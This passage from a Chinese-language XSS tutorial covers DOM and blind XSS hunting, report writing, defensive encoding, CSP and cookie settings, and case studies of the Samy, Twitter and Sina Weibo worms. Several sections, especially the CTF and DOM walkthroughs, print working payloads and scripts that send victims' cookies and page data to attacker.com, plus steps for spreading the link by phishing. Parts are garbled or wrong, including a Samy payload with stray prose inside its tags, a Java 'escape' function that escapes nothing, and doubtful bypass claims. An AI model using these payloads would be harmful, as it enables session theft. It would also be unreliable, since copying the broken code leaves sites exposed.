URL写入

  • element.src(img, script, iframe等)
  • element.href(a, link等)
  • element.action(form)
  • window.location赋值

代码执行

  • eval()
  • new Function()
  • setTimeout/setInterval(字符串参数)
  • execScript()(IE)

6.4.3 使用浏览器开发者工具进行审计

  1. 打开目标页面的开发者工具
  2. 切换到Console面板
  3. 使用location.href手动添加hash参数,如location.hash='<img src=x onerror=alert(1)>'
  4. 观察页面行为,检查是否执行了alert
  5. 如果没有弹窗,使用断点调试追踪数据流向

或者:

  1. 在Sources面板中添加DOM断点
  2. 选择要监视的DOM元素
  3. 修改该元素的内容
  4. 观察JavaScript代码的执行路径

6.4.4 使用自动化工具辅助DOM XSS检测

Burp Suite DOM Invader:Burp Suite Professional内置的DOM XSS检测工具,可以自动识别页面中的数据源并注入测试Payload。

CSP Evaluator:Google提供的工具,可以分析CSP策略的强度和潜在的绕过方法。

NoBroker:专门用于检测DOM XSS的工具,通过静态分析JavaScript代码来识别潜在的漏洞点。

6.5 盲打XSS的挖掘技巧

盲打XSS是指攻击者无法直接看到漏洞触发的结果,必须通过外部通道(如日志服务器)来确认漏洞是否存在。这类漏洞常见于:

  • 管理员后台页面(普通用户无法访问)
  • 日志查看功能
  • 错误报告系统
  • 邮件/通知系统

6.5.1 确认漏洞存在的信号

在无法直接看到弹窗的情况下,攻击者需要通过间接方式确认XSS是否执行:

数据外带:将Cookie或其他数据通过以下方式发送到攻击者控制的服务器:

1
2
3
<script>window.location.href='http://attacker.com/?c='+document.cookie</script>
<img src="http://attacker.com/?c=x">
<svg onload="fetch('http://attacker.com/?c='+document.cookie)">

DNS外带:通过让浏览器解析攻击者域名的子域名来确认执行:

1
<img src="http://xss.attacker.com/image.gif">

如果攻击者的DNS日志中出现了对xss.attacker.com的查询请求,就说明XSS被执行了。这种方法的优势是即使目标环境阻止了JavaScript执行,只要能加载图片资源,就能触发DNS查询。

错误日志:某些环境中,XSS执行失败的错误也会被记录。

6.5.2 构造有效的Payload

盲打XSS需要考虑目标环境的特殊性:

  1. 内容过滤:目标系统可能过滤了<script>等标签,需要使用<img><svg>等替代标签

  2. 编码问题:数据可能经过URL编码、HTML实体编码等处理

  3. 字符限制:管理员可能看到的是被截断的内容

  4. 上下文限制:可能只有管理员可见的某些页面存在漏洞

6.6 漏洞报告的编写

一份专业的XSS漏洞报告应该包含以下部分:

  1. 漏洞标题和严重级别:简明扼要的描述漏洞的本质和影响程度

  2. 漏洞描述:详细说明漏洞的位置、触发条件和影响范围

  3. 漏洞复现步骤:逐步说明如何发现和利用这个漏洞,包括:

    • 测试环境的URL
    • 需要的HTTP请求方法和参数
    • Payload的具体内容
    • 期望的响应
    • 实际的响应(含漏洞)
  4. 漏洞影响分析:说明如果这个漏洞被利用,可能造成的危害

  5. 修复建议:提供具体、可操作的修复方案,包括代码示例

  6. 参考资料:相关的CVE、论文、工具链接等


防御措施

7.1 输入验证策略

输入验证是防御XSS的第一道防线,通过在数据进入应用时就进行检查和过滤,可以从源头减少恶意输入。

7.1.1 白名单vs黑名单

黑名单验证维护一个已知恶意模式的列表,在检测到这些模式时拒绝输入。例如,拒绝包含<script>javascript:等字符串的输入。黑名单简单易实现,但容易被各种变形Payload绕过,而且随着新的攻击技术的发现,需要不断更新黑名单。

白名单验证只允许符合预期格式的输入。例如,邮箱字段只允许字母数字和@符号、URL字段只允许http/https协议等。白名单更加安全,因为它明确定义了什么是合法的输入,但也可能过于严格,误伤正常用户输入。

最佳实践:优先使用白名单验证。如果必须使用黑名单验证,应该:

  • 使用正则表达式而不是简单的字符串匹配
  • 考虑编码和大小写变化
  • 定期更新黑名单
  • 记录所有被拦截的尝试,用于安全监控

7.1.2 各类输入的验证规则

用户名/昵称

  • 长度限制(如3-20个字符)
  • 允许的字符类型(字母、数字、下划线)
  • 不允许HTML标签和特殊符号

邮箱地址

  • 格式验证(RFC 5322标准)
  • 不允许javascript:协议
  • 域名验证

URL

  • 协议白名单(http, https)
  • 禁止javascript:data:协议
  • 域名黑名单(如恶意域名列表)

富文本内容

  • 使用HTML净化库(DOMPurify、sanitize-html等)
  • 配置允许的HTML标签和属性白名单
  • 移除或转义所有其他内容

数字/金额

  • 类型检查(整数或浮点数)
  • 范围检查(最小值、最大值)
  • 精度控制

7.2 输出编码详解

输出编码是防御XSS最重要的措施,它在数据被写入HTML、JavaScript、CSS或URL等不同上下文时,进行相应的转义处理。

7.2.1 HTML上下文编码

当用户输入被插入到HTML标签的内容或属性值中时,需要进行HTML编码:

HTML实体编码表

原始字符编码后
<&lt;
>&gt;
"&quot;
'&#x27;&apos;
&&amp;

属性值的编码
属性值最好用双引号包围,并同时编码引号和尖括号:

1
<div data-value="编码后的值"></div>

不同语言的实现

PHP:

1
2
3
// 使用htmlspecialchars
$safe = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// ENT_QUOTES编码单引号和双引号

Java:

1
2
// 使用org.apache.commons.text.StringEscapeUtils
String safe = StringEscapeUtils.escapeHtml4(userInput);

Python(使用模板引擎Jinja2):

1
2
# Jinja2默认自动转义,不需要手动调用
{{ user_input }}

Node.js:

1
2
3
4
5
// 使用validator库
const escape = require('validator').escape(userInput);
// 或使用DOMPurify
const DOMPurify = require('dompurify');
const safe = DOMPurify.sanitize(userInput);

7.2.2 JavaScript上下文编码

当用户输入被插入到JavaScript代码中时,需要使用JavaScript专用的转义:

JavaScript字符串中的特殊字符

原始字符转义后
\\\
"\"
'\'
换行\n
回车\r
制表符\t
<\x3c\\u003c
>\x3e\\u003e

JSON编码

1
2
3
// 使用JSON.stringify,它会自动处理特殊字符
var safeValue = JSON.stringify(userInput).slice(1, -1); // 去除包裹的双引号
element.textContent = safeValue;

JavaScript变量赋值

1
2
// PHP中使用json_encode
echo '<script>var name = ' . json_encode($userName, JSON_HEX_TAG) . ';</script>';

7.2.3 URL上下文编码

当用户输入被插入到URL中时,需要进行URL编码:

URL编码规则:非ASCII字符首先转换为UTF-8字节序列,然后对每个字节进行百分号编码。

保留字符的处理

  • 参数名和参数值之间的=%3D
  • 参数之间的&%26
  • 空格:%20+
  • 中文:%E4%B8%AD%E6%96%87

PHP:

1
2
3
4
5
// urlencode用于查询字符串(会编码空格为+)
$url = 'http://example.com?q=' . urlencode($userInput);

// rawurlencode会编码空格为%20
$url = 'http://example.com/q=' . rawurlencode($userInput);

JavaScript:

1
2
// encodeURIComponent用于参数值
var url = 'http://example.com?q=' + encodeURIComponent(userInput);

7.2.4 CSS上下文编码

当用户输入被插入到CSS中时,需要进行CSS编码:

CSS编码规则
| 原始字符 | 编码后 |
|—————|————|
| \ | \\ |
| " | \" |
| ' | \' |
| < | \\3c |
| > | \\3e |
| 非ASCII字符 | \\ 后跟十六进制Unicode码点 |

建议:尽量避免将用户输入直接插入CSS。如果必须这样做,应该对所有非安全字符进行CSS编码。

7.3 内容安全策略(CSP)深度配置

内容安全策略是一个强大的HTTP响应头,服务器使用它来告诉浏览器哪些外部资源可以加载和执行。

7.3.1 CSP指令详解

default-src:其他指令的默认值,如果没有明确指定某类资源的策略,就使用default-src。

script-src:允许加载JavaScript的来源。

1
Content-Security-Policy: script-src 'self' https://trusted-cdn.com

style-src:允许加载CSS样式表的来源。

img-src:允许加载图片的来源。

connect-src:允许XMLHttpRequest、WebSocket、fetch等连接的来源。

font-src:允许加载字体的来源。

frame-src:允许加载iframe的来源。

child-src:允许加载frame和iframe的来源(新版CSP中已合并到frame-src和worker-src)。

worker-src:允许加载Web Worker的来源。

manifest-src:允许加载Web App Manifest的来源。

7.3.2 CSP关键字

‘self’:允许来自同源(协议+域名+端口)的资源。

‘none’:不允许任何来源。

‘unsafe-inline’:允许内联脚本和样式(会削弱CSP的保护效果,应尽量避免)。

‘unsafe-eval’:允许eval()和其他危险的代码执行方式。

‘nonce-{random}’:只允许带有匹配nonce值的内联脚本。

‘sha256-{hash}’:只允许带有特定SHA-256哈希值的内联脚本。

‘strict-dynamic’:允许被受信任脚本动态创建的脚本继承信任。

7.3.3 CSP配置示例

基础CSP(推荐用于现代应用)

1
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; block-all-mixed-content;

使用nonce的CSP

1
Content-Security-Policy: script-src 'nonce-{RANDOM_NONCE}' 'strict-dynamic'; style-src 'self';

配合PHP使用nonce:
1
2
3
$nonce = bin2hex(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-{$nonce}' 'strict-dynamic';");
echo "<script nonce='{$nonce}'>/* trusted code */</script>";

使用哈希值的CSP

1
Content-Security-Policy: script-src 'sha256-{HASH_OF_SCRIPT}';

计算脚本的SHA-256哈希:
1
echo -n "alert('XSS');" | sha256sum

7.3.4 CSP报告配置

CSP可以配置违规报告,将任何被阻止的操作发送到指定端点:

1
Content-Security-Policy: default-src 'self'; report-uri /csp-violation-report;

报告格式:
1
2
3
4
5
6
7
8
{
"csp-report": {
"blocked-uri": "http://attacker.com/malicious.js",
"document-uri": "http://victim.com/page.html",
"violated-directive": "script-src 'self'",
"original-policy": "script-src 'self'; report-uri /csp-violation-report;"
}
}

7.4 HttpOnly Cookie详解

HttpOnly是一个Cookie标志,向浏览器指示该Cookie不应该被JavaScript访问。

7.4.1 工作原理

当服务器在Set-Cookie响应头中包含HttpOnly标志时:

1
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

浏览器会:

  1. 正常存储这个Cookie
  2. 在后续的HTTP请求中自动发送这个Cookie
  3. 阻止JavaScript通过document.cookie访问这个Cookie

7.4.2 配置方法

PHP

1
2
3
4
5
6
7
8
// 在session_start()之前设置
ini_set('session.cookie_httponly', 1);
// 或手动设置
setcookie('sessionId', $value, [
'httponly' => true,
'secure' => true, // 只在HTTPS连接中发送
'samesite' => 'Strict' // CSRF防护
]);

Java(Servlet)

1
2
3
4
Cookie cookie = new Cookie("sessionId", value);
cookie.setHttpOnly(true);
cookie.setSecure(true);
response.addCookie(cookie);

Python(Flask)

1
2
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True

7.4.3 HttpOnly的局限性

HttpOnly不能防止以下攻击:

  • 通过XSS窃取用户会话的某些属性(如localStorage)
  • XSS配合CSRF的攻击
  • 网络层面的中间人攻击(除非使用Secure标志和HTTPS)
  • 服务器端的会话数据泄露

HttpOnly不能完全防止XSS攻击造成的危害,因为它只保护Cookie不被JavaScript读取。但如果攻击者能够执行任意JavaScript,他们仍然可以:

  • 使用XMLHttpRequest发送请求,自动携带有效Cookie
  • 读取页面内容中的敏感信息
  • 执行表单提交、点击等操作

7.5 DOM型XSS的防御

由于DOM型XSS的漏洞完全存在于客户端JavaScript代码中,传统的服务器端防护措施对其无效。

7.5.1 安全的DOM操作方法

使用textContent而不是innerHTML

1
2
3
4
5
// 不安全
element.innerHTML = userInput;

// 安全
element.textContent = userInput;

textContent会将输入作为纯文本处理,自动转义所有HTML标签。

使用setAttribute的安全考虑

1
2
3
4
5
6
// 某些属性值可能被解析
element.setAttribute('onclick', userInput); // 不安全!

// 使用纯文本内容
element.textContent = 'Click me';
element.addEventListener('click', safeFunction);

使用createTextNode

1
2
var text = document.createTextNode(userInput);
element.appendChild(text);

使用专门的安全库
DOMPurify是一个流行的HTML净化库,可以在保留安全HTML的同时移除所有恶意代码:

1
var clean = DOMPurify.sanitize(userInput, {ALLOWED_TAGS: ['b', 'i', 'em', 'strong'], ALLOWED_ATTR: ['href']});

7.5.2 框架的XSS防护机制

现代前端框架(React、Vue、Angular)默认提供XSS防护:

React

  • 默认将所有插入的内容作为text处理
  • 使用dangerouslySetInnerHTML时需要显式确认
  • URL属性使用javascript:协议会被自动过滤

Vue

  • 模板中的双花括号{{}}默认进行HTML实体编码
  • 使用v-html指令时需要显式确认

Angular

  • 使用DOMSanitizer服务来清理不信任的HTML
  • 绑定表达式默认进行编码

7.5.3 Trusted Types API

Trusted Types是浏览器的新安全特性,可以让开发者指定只能将受信任的类型值写入DOM,从根本上防止DOM型XSS:

1
2
3
4
5
6
7
8
// 定义策略
trustedTypes.createPolicy('myPolicy', function(data) {
// 只允许简单的文本
return data;
});

// 使用策略
element.innerHTML = trustedTypes.defaultPolicy.createHTML(userInput);

7.6 其他防护措施

7.6.1 X-Content-Type-Options

这个HTTP响应头告诉浏览器不要猜测资源的MIME类型:

1
X-Content-Type-Options: nosniff

当浏览器收到这个响应头时,会严格遵循Content-Type头指定的MIME类型,不会尝试猜测并执行不同类型的内容。

7.6.2 X-XSS-Protection

这是一个已被废弃的浏览器特性,现代浏览器不再支持。过去的配置方式:

1
X-XSS-Protection: 1; mode=block

现在应该依赖CSP来防护XSS,而不是依赖浏览器的XSS过滤器。

SameSite属性限制Cookie在跨站请求中的发送:

1
Set-Cookie: sessionId=abc123; SameSite=Strict

可选值:

  • Strict:Cookie只在同站请求中发送
  • Lax:Cookie在导航请求中发送(如点击链接),但不在子请求中发送
  • None:Cookie在所有请求中发送(需要配合Secure属性)

7.6.4 CSRF Token

虽然CSRF和XSS是不同的漏洞,但配合使用可以增强整体安全性:

  • CSRF Token可以防止攻击者在受害者会话中发起非预期的请求
  • 即使XSS允许攻击者读取页面内容,如果Token验证正确,攻击者仍无法提交表单

7.7 各语言/框架的防御代码示例

7.7.1 PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// 输出到HTML上下文
function escapeHtml($string) {
return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

// 输出到JavaScript上下文
function escapeJs($string) {
return json_encode($string, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
}

// 输出到URL上下文
function escapeUrl($string) {
return urlencode($string);
}

// 安全地输出用户输入
echo '<div>' . escapeHtml($userInput) . '</div>';

// 设置HttpOnly Cookie
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
session_start();

// 设置CSP头
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
?>

7.7.2 Java (Spring Boot)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@Controller
public class XssPrevention {

// HTML上下文转义
public String escapeHtml(String input) {
return HtmlUtils.htmlEscape(input, StandardCharsets.UTF_8.name());
}

// JSON上下文转义
public String escapeJs(String input) {
return ObjectUtils.getIdentityHexString(input);
}

@RequestMapping("/safe")
public String safeOutput(@RequestParam String userInput, Model model) {
// 安全输出
model.addAttribute("safe", escapeHtml(userInput));
return "template";
}
}

// 配置安全响应头
@Configuration
public class SecurityHeadersConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new SecurityHeadersInterceptor());
}
}

class SecurityHeadersInterceptor implements HandlerInterceptor {
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception ex) {
response.setHeader("Content-Security-Policy", "default-src 'self'");
response.setHeader("X-Content-Type-Options", "nosniff");
response.setHeader("X-Frame-Options", "DENY");
}
}

7.7.3 Python (Flask)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from flask import Flask, request, render_template_string, escape
from markupsafe import escape as markup_escape

app = Flask(__name__)

# HTML上下文转义(Jinja2默认自动处理)
@app.route('/safe')
def safe_output():
user_input = request.args.get('input', '')
# render_template会自动转义user_input
return render_template('safe.html', user_input=user_input)

# 手动转义
def manual_escape(text):
return markup_escape(text)

# JavaScript上下文转义
import json
@app.route('/js-context')
def js_context():
user_input = request.args.get('input', '')
safe_json = json.dumps(user_input) # JSON编码会自动处理转义
return render_template_string(
f'<script>var data = {safe_json};</script>'
)

# 设置安全Cookie
@app.route('/login')
def login():
response = make_response(...)
response.set_cookie('session', session_id,
httponly=True,
secure=True,
samesite='Strict')
return response

7.7.4 Node.js (Express)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const express = require('express');
const app = express();
const helmet = require('helmet'); // 安全头中间件

// 使用helmet自动设置安全响应头
app.use(helmet());

// 使用DOMPurify净化HTML
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

// 安全的HTML输出
app.get('/safe', (req, res) => {
const userInput = req.query.input;
const safe = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: ['href']
});
res.send(`<div>${safe}</div>`);
});

// 安全的JavaScript上下文
app.get('/js-context', (req, res) => {
const userInput = req.query.input;
const safe = JSON.stringify(userInput).slice(1, -1); // 去除双引号
res.send(`<script>var data = '${safe}';</script>`);
});

// 安全Cookie
app.use((req, res, next) => {
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
next();
});

实战案例

8.1 Samy蠕虫事件(2005年)

8.1.1 事件背景

2005年10月4日,一个名为Samy Kamkar的年轻黑客在MySpace网站上发布了一个看似无害的个人主页。他在主页的”about me”部分添加了一段HTML代码,这段代码会在任何访问他主页的人浏览器中自动执行,将访问者添加为Samy的好友,同时也将这段恶意代码添加到访问者自己的MySpace主页中。

仅仅20小时后,蠕虫感染了超过一百万用户,Samy Kamkar的好友请求数量暴增,导致MySpace服务器几乎瘫痪。这是世界上第一个大规模传播的XSS蠕虫,也是社交网络蠕虫时代的开端。

8.1.2 漏洞分析

MySpace的”about me”字段接受了用户输入的HTML内容,但没有对<script>标签进行充分过滤。Samy Kamkar使用了巧妙的Payload设计来绕过MySpace的安全过滤:

主要Payload(经过简化):

1
2
3
4
5
6
7
8
9
10
<div id=mycode lang="en">
<,近日samy在Twitter上撰文回忆了这段往事< img src=m onerror=waf绕过后执行蠕虫代码>
<a href="http://www.myspace.com/modules/ModulesP ages/SubPageImageV2J pf?x="> </a>
<script>
// 创建XMLHTTP请求对象
// 构造请求获取好友
// 构造请求修改自己的about me
// 使用十六进制编码隐藏代码
</script>
</div>

绕过技术

  1. 空格分隔:MySpace的过滤器检查了<script>标签,但<script src="...">使用空格分隔,Samy使用\x60(反引号)替代空格。

  2. CSS注释:使用/**/替代空格绕过检测。

  3. 事件处理器:即使<script>被过滤,<img onerror>等事件处理器同样可以执行JavaScript。

  4. 十六进制编码:将关键字符串编码为十六进制,增加检测难度。

  5. JavaScript混淆:使用字符串拼接、编码转换等技术隐藏真实的攻击代码。

8.1.3 影响与教训

影响

  • 超过100万MySpace用户的主页被感染
  • MySpace被迫关闭整个网站进行清理
  • Samy Kamkar后来被美国联邦调查局逮捕,被判处3年缓刑和社区服务

教训

  • 永远不要相信用户输入,即使是看似无害的字段
  • 富文本编辑需要严格的HTML过滤白名单
  • 蠕虫的指数级传播速度意味着即使及时发现也可能造成巨大影响
  • CSP和同源策略等现代浏览器安全机制可以有效阻止此类攻击

8.2 Twitter存储型XSS事件(2010年)

8.2.1 事件背景

2010年9月,多个用户在Twitter上发现了一个异常现象:当他们浏览包含特定JavaScript链接的推文时,他们的账户会自动发送垃圾推文或关注特定账户。

这次攻击利用了Twitter的一个存储型XSS漏洞。攻击者通过在推文中插入恶意JavaScript代码,当其他用户浏览该推文时,代码自动执行,执行各种操作如转发、关注、发送消息等。

8.2.2 漏洞原理

Twitter当时允许用户自定义其主页的”location”字段。攻击者发现这个字段存在XSS漏洞,可以使用HTML事件处理器执行JavaScript。

典型Payload

1
onmouseover="$.getScript('http://hackserver.com/xss.js')"

当用户将鼠标移动到显示该location的位置时,JavaScript代码就会执行。

更高级的Payload:

1
<a href="javascript:alert('XSS')" >click here</a>

攻击者创建了一个链接,当用户点击时执行JavaScript代码。

8.2.3 传播与利用

攻击者构造了精心设计的蠕虫Payload,Payload会自动:

  1. 在用户的主页设置一个包含恶意代码的location
  2. 关注攻击者的账户
  3. 向用户的粉丝发送包含恶意链接的推文
  4. 重定向用户访问钓鱼网站

蠕虫在几个小时内传播到了数千个账户,严重影响了Twitter的正常使用。

8.2.4 修复措施

Twitter采取的修复措施包括:

  • 立即禁用所有自定义location字段
  • 对所有用户输入进行严格的HTML过滤
  • 引入内容安全策略
  • 加强输入验证和输出编码
  • 实施更严格的CSRF防护

8.3 新浪微博XSS蠕虫事件(2011年)

8.3.1 事件背景

2011年6月28日,新浪微博遭到XSS蠕虫攻击,大量用户的微博自动转发了一条带有恶意链接的消息。这次攻击利用了新浪微博的搜索功能存在的反射型XSS漏洞。

攻击发生在当晚8点左右,持续约一小时,期间数万用户受到影响,大量垃圾信息被传播。

8.3.2 漏洞成因

新浪微博的搜索功能存在反射型XSS漏洞。用户的搜索关键词会被直接反射到搜索结果页面,而没有进行适当的HTML编码。

攻击者利用这个漏洞,构造了一个包含恶意JavaScript的搜索URL。当用户点击这个链接时,JavaScript代码会执行以下操作:

  1. 获取当前用户的登录凭证(Cookie)
  2. 使用用户的身份发送预先构造的微博内容
  3. 在微博内容中嵌入同样的恶意链接
  4. 由于微博内容会自动显示预览,恶意代码会再次被执行,形成蠕虫传播

8.3.3 Payload分析

恶意链接结构

1
http://weibo.com/search/?q=[恶意JavaScript]

注入的JavaScript代码(简化):

1
2
3
4
5
6
7
// 伪造发微博请求
var content = "一个很有趣的链接: http://t.cn/xxxxx";
var url = "/aj/mblog/add";
var data = "content=" + encodeURIComponent(content);

// 发送Ajax请求
new Image().src = "http://attacker.com/steal?c=" + document.cookie;

当受害者点击链接后,恶意代码自动以其身份发送微博,微博中包含同样的恶意链接,从而实现指数级传播。

8.3.4 事件总结

影响范围

  • 数万用户受到影响
  • 大量垃圾推文被发送
  • 大量用户Cookie被窃取

根本原因

  • 搜索功能的输入验证不足
  • 输出编码不完整
  • 缺少CSRF Token保护

修复措施

  • 搜索结果页面进行全面XSS过滤
  • 引入CSRF Token机制
  • 限制单用户发微博频率
  • 加强异常行为监控

8.4 电子游戏平台的存储型XSS(CTF场景)

8.4.1 场景描述

假设我们发现一个在线游戏平台的积分商城存在存储型XSS漏洞。该商城允许玩家在商品评论区发表评论,其他玩家浏览商品详情页时会看到这些评论。

8.4.2 漏洞挖掘过程

步骤1:识别入口点
访问商品详情页面,查看评论区是否接受HTML输入。

步骤2:基本测试
在评论框中输入<script>alert(document.cookie)</script>,提交后浏览商品页面。如果看到弹窗,说明存在存储型XSS漏洞。

步骤3:构造窃取脚本
由于评论区的内容会被存储并显示给所有访问者,我们构造一个窃取Cookie的Payload:

1
<img src=x onerror="window.location.href='http://attacker.com/collect?c='+document.cookie">

步骤4:等待受害者访问
所有浏览该商品详情页的用户,其Cookie都会被发送到攻击者服务器。

8.4.3 漏洞利用脚本

攻击者可能会部署一个更复杂的攻击脚本:

1
2
3
4
5
6
7
8
9
10
// 窃取页面上的敏感数据
var data = {
cookies: document.cookie,
page: location.href,
username: document.querySelector('.username')?.innerText,
balance: document.querySelector('.balance')?.innerText
};

// 使用Image对象发送数据
new Image().src = 'http://attacker.com/steal?' + JSON.stringify(data);

8.5 DOM型XSS的实战案例

8.5.1 场景描述

某网站的搜索功能使用JavaScript动态更新页面内容。当用户提交搜索请求后,页面通过修改URL的hash部分(location.hash)来记录搜索关键词,然后JavaScript读取hash值并显示在页面上。

8.5.2 漏洞代码分析

前端JavaScript代码:

1
2
3
4
// 从URL hash获取搜索关键词
var keyword = location.hash.substring(1);
// 显示搜索结果
document.getElementById('result').innerHTML = '搜索关键词: ' + keyword;

这段代码直接将URL hash中的内容插入到innerHTML中。如果攻击者诱导用户访问http://example.com/search#<img src=x onerror=alert(1)>,当页面加载时,JavaScript会读取hash,将#后面的内容插入innerHTML,从而触发onerror事件。

8.5.3 利用步骤

  1. 构造恶意URL:http://example.com/search#<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

  2. 使用短链接服务缩短URL,隐藏恶意部分

  3. 通过钓鱼邮件或社交媒体分发链接

  4. 当用户点击链接后,恶意代码执行,Cookie被发送到攻击者服务器

8.5.4 防御方案

修复后的代码

1
2
3
4
5
6
// 使用textContent代替innerHTML
var keyword = location.hash.substring(1);
// 转义HTML特殊字符
var safeKeyword = document.createTextNode(keyword);
document.getElementById('result').textContent = '搜索关键词: ';
document.getElementById('result').appendChild(safeKeyword);

或使用DOMPurify净化输入:

1
2
3
var keyword = location.hash.substring(1);
var safeKeyword = DOMPurify.sanitize(keyword);
document.getElementById('result').innerHTML = '搜索关键词: ' + safeKeyword;


参考资源

  1. OWASP XSS Prevention Cheat Sheet - XSS防护最佳实践指南

  2. PortSwigger Web Security Academy - XSS - 权威的XSS学习资源,包含交互式实验室

  3. Mozilla Developer Network - DOM XSS - DOM型XSS的官方文档

  4. HTML5 Security Cheatsheet - HTML5相关的安全问题和防御技术

  5. XSS Game by Google - Google提供的XSS学习游戏

  6. DVWA XSS 学习指南

  7. XSS 漏洞详解

  8. XSS 防御最佳实践

  9. XSS 靶场 - 在线XSS练习环境

  10. DOMPurify - 客户端HTML净化库

  11. CSP Evaluator - CSP策略评估工具

  12. XSStrike - XSS扫描工具

  13. Dalfox - XSS漏洞扫描器


结语

跨站脚本攻击(XSS)作为Web应用安全领域最常见和最具破坏力的漏洞类型之一,其防御需要开发者和安全从业者的持续关注。本指南详细介绍了XSS的基本概念、攻击类型、Payload技术、绕过技巧、挖掘方法以及防御策略,旨在帮助读者建立全面的XSS安全知识体系。

随着Web技术的不断发展,XSS攻击也在不断演进。从传统的反射型和存储型XSS,到现代的DOM型XSS和突变型XSS,攻击者总能找到新的技术来突破安全防线。因此,安全防护不能依赖单一的技术或措施,而需要建立多层防御体系:

  • 输入验证确保只有合法数据进入系统
  • 输出编码确保数据在各个上下文中都被正确处理
  • 内容安全策略限制可以执行的代码来源
  • HttpOnly和SameSite Cookie属性保护用户会话
  • 现代前端框架提供内置的XSS防护
  • 持续的代码审计和安全测试发现潜在漏洞

本指南仅供安全教育和研究目的使用,请勿将其用于任何未经授权的渗透测试或攻击活动。